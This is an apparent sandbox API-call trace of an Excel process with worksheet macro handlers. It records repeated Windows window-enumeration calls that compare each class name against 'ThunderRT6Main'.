	[0059.148] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0059.148] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.148] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0059.148] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0059.148] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0059.148] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0059.148] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0059.148] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.148] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0059.148] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0059.148] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0059.148] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0059.148] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0059.148] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.148] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0059.149] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0059.149] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0059.149] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0059.149] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0059.149] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.149] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0059.149] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0059.149] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0059.149] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0059.149] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0059.149] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.149] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0059.149] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0059.149] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0059.149] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0059.149] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0059.149] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0059.149] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0059.149] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0059.149] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0059.149] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0059.149] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0059.149] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0059.149] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0059.149] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0059.149] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0059.150] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0059.150] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0059.150] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0059.150] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.150] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0059.150] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0059.150] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0059.150] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0059.150] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0059.150] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.150] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0059.150] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0059.150] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0059.150] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0059.150] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0059.150] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.150] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0059.150] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0059.150] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0059.150] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0059.150] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0059.150] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.150] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.150] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.150] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0059.150] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0059.150] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.151] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0059.151] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0059.151] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.151] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0059.151] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.151] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.151] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0059.151] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.151] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.151] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0059.151] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.151] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.151] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0059.151] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0059.151] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.151] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0059.151] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0059.151] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0059.151] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0059.151] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.151] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0059.151] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0059.151] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0059.151] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0059.151] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0059.152] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0059.152] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.152] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.152] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0059.152] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0059.152] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0059.152] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0059.152] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0059.152] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0059.152] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.152] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.152] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0059.152] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0059.152] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0059.152] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0059.152] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0059.152] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0059.152] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0059.152] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.327] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e00000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e00000284) returned 0x0
	[0068.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0068.327] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0068.327] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0068.328] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0068.329] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0068.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0068.329] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0068.329] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0068.329] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0068.365] GetCurrentThreadId () returned 0x8e8
	[0068.366] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0068.366] GetDesktopWindow () returned 0x10010
	[0068.366] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0068.366] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0068.366] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.366] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0068.366] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0068.366] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0068.366] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0068.366] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0068.366] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0068.366] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.366] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.366] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0068.366] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.366] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.366] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0068.366] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.366] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.366] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0068.366] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.366] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.366] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0068.366] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.366] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.366] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0068.366] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.366] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.366] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0068.367] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.367] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0068.367] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.367] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0068.367] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.367] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0068.367] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.367] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0068.367] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0068.367] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0068.367] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0068.367] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0068.367] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0068.367] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0068.367] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.367] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0068.367] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.367] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.367] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.367] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0068.368] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.368] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.368] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0068.368] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0068.368] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.368] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0068.368] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0068.368] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.368] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0068.368] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0068.368] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.368] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0068.368] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0068.368] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0068.368] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0068.368] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.368] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0068.368] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0068.368] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0068.368] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0068.368] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
